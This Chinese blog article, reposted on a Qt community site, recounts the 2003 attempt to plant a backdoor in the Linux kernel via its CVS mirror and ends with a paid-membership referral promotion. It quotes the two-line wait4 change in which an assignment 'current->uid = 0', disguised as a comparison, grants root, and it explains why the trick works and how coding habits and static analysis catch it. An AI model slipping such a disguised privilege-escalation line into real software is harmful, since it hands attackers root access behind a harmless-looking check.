找回密码
 立即注册
Qt开源社区 门户 查看内容

如何在Linux中安插一个后门?

2019-9-10 05:04| 发布者: admin| 查看: 442| 评论: 0

摘要: Linux内核是开源的代码,能不能向其中安插一个后门呢?这是一件难度很高的操作,但是有人却差点儿成功了,我们来看看这是怎么回事。时间回到2003年,当时Linux内核的代码主仓库保存在一个叫做BitKeeper的商业软件中 ...

Linux内核是开源的代码,能不能向其中安插一个后门呢?这是一件难度很高的操作,但是有人却差点儿成功了,我们来看看这是怎么回事。

时间回到2003年,当时Linux内核的代码主仓库保存在一个叫做BitKeeper的商业软件中。如果想对Linux内核代码进行修改的话,需要走一个审批流程,以此来确定这次更改能否被接受。每一次更改都有一个简单的说明,其中包含一个指向审批记录的链接。

但是有些人不喜欢BitKeeper(堂堂的Linux怎么能保存在闭源的商业软件中?!), 于是一个CVS(估计好多人都没听说过它了吧)被建立了起来,其中保存着从BitKeeper clone来的代码, 这样开发人员可以用开源的CVS来访问Linux代码。

2003年11月5号,Larry McVoy 注意到了一件怪事,CVS中的一个代码变更没有包含审批记录的链接, 这是怎么回事?

经过一番调查发现:从来没有人批准过这个代码变更,奇怪的是,这个代码变更并没有出现在BitKeeper主仓库中,原来是有人黑进了CVS的服务器,偷偷插入了一段代码。这段代码到底做了什么事情呢?

这段代码修改了一个叫做wait4的Linux函数,程序可以使用wait4来等待一些事情的发生,这个代码变更增加了这么两行:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
        retval = -EINVAL;


(代码可左右滑动,懂得C语言的同学可以思考下,这段代码有什么不寻常的?)

粗一看这段代码,就会觉得这没啥啊?不就是做一点条件检查吗,不满足条件就返回错误。

但是仔细看看就会发现事情不对,第一行的最后, 有个"current->uid=0", 而不是 "current->uid == 0" 。

正常的写法应该是“==0”,  就是检查当前的用户ID是不是0, 写成“=0”就是把当前用户ID设置为0 , 而ID为0的用户是"root" !

这就意味着,如果这段代码被执行,当前用户就会变成root,可以在系统中为所欲为!

这其实是个经典的后门, 想象一个,一个黑客在Linux运行了一个程序,这个程序调用了wait4, 然后这个黑客突然间具备了root权限!

这个后门可是真够聪明的,伪装成了条件检查,试图蒙混过关,如果一直没人发现会怎么样呢?

首先,后门存在CVS中,不在BitKeeper的主仓库中,从BitKeeper 代码库Build出的Linux肯定没问题, 但是如果有人从CVS代码库中build了Linux, 那就中招了。

其次,搞破坏的家伙可能有这样的预期:有个被Linus Torvalds所信任的内核开发者,他讨厌BitKeeper,并且在使用CVS, 那当他修改了代码,准备通过邮件的方式向Linus Torvalds发送patch的时候发现,咦,wait4这里也有个code change, 是做条件检查的,也包括进去吧。Linus收到补丁,一看是自己信任的兄弟提交的,没有仔细检查,于是后门代码进入了主代码仓库。

这当然是猜测的场景,也算是一种社会工程学攻击吧,不过Linux团队非常小心,把这个后门给揪了出来。

故事到这里就可以结束了,再就这个话题扩展一下,多说两句。

我记得刚工作的时候,有个同事给我说,在C语言中,当需要和0比较的时候,可以把0放到前面,这么写:

if( 0 == user_id){  ....... }

这样即使把 == 写成了 = , 编译器就会发现错误。我当时觉得挺古怪的,把一个数字放到前面,变量放到后面。后来习惯了,在Java 也经常会这样写 if (null == user){ ...... }

其实现在的IDE都很智能了,像这种把==写成=的情况,IDE就可以给出警告。即使没有用IDE,如果对源码做静态的代码分析,也会被抓出来的警告的。

Linux是开源的代码,任何人,只要你愿意,都可以查看所有的代码,这相当于把Linux放到了阳光底下,无数双眼睛都盯着看,这种透明度使得在其中安插一个后门是非常难的。

参考资料:

https://lwn.net/Articles/57135/

https://freedom-to-tinker.com/2013/10/09/the-linux-backdoor-attempt-of-2003/




“码农翻身”知识星球现金返现狂欢节

 5 天时间大额现金返现

重要的事情说三遍:

本次活动期间

非星球用户,也能参与星球分销返现~

非星球用户,也能参与星球分销返现~

非星球用户,也能参与星球分销返现~

活动限时:9月9日20点~9月13日24点



星球:码农翻身

星球亮点:程序员来「码农翻身」,少走三年弯路!

星主刘欣:畅销书《码农翻身》作者,近 20 年软件行业从业经验,前 IBM 架构师,领导过多个企业应用架构设计和开发工作;洞察技术本质,擅长用故事去讲解复杂技术。

他更是敏捷开发专家,曾经给华为杭州研发中心,工商银行广州和北京开发中心,鼎桥科技等做过敏捷开发咨询。

加入码农翻身知识星球,和他直接交流,提升认知,少走弯路。

无论是不是已经加入“码农翻身”星球,都可以用下面的步骤生成你的专属海报,分享出去以后,如果有人通过你的海报加入“码农翻身”星球,你就会获得52.15元的现金,加入者也可以获得22.35元的返现,双赢!

如何参与分销返现?非常简单,两步即可!



无论是不是已经加入“码农翻身”星球,都可以用上面的步骤生成你的专属海报,分享出去以后,如果有人通过你的海报加入“码农翻身”星球,你就会获得52.15元的现金,加入者也可以获得22.35元的返现,双赢!

PS:以上返现金,均未扣除知识星球手续费

----------------------------------------------------------------------------------------------------------------------
我们尊重原创,也注重分享,文章来源于微信公众号:码农翻身,建议关注公众号查看原文。如若侵权请联系qter@qter.org。
----------------------------------------------------------------------------------------------------------------------

鲜花

握手

雷人

路过

鸡蛋

公告
可以关注我们的微信公众号yafeilinux_friends获取最新动态,或者加入QQ会员群进行交流:190741849、186601429(已满) 我知道了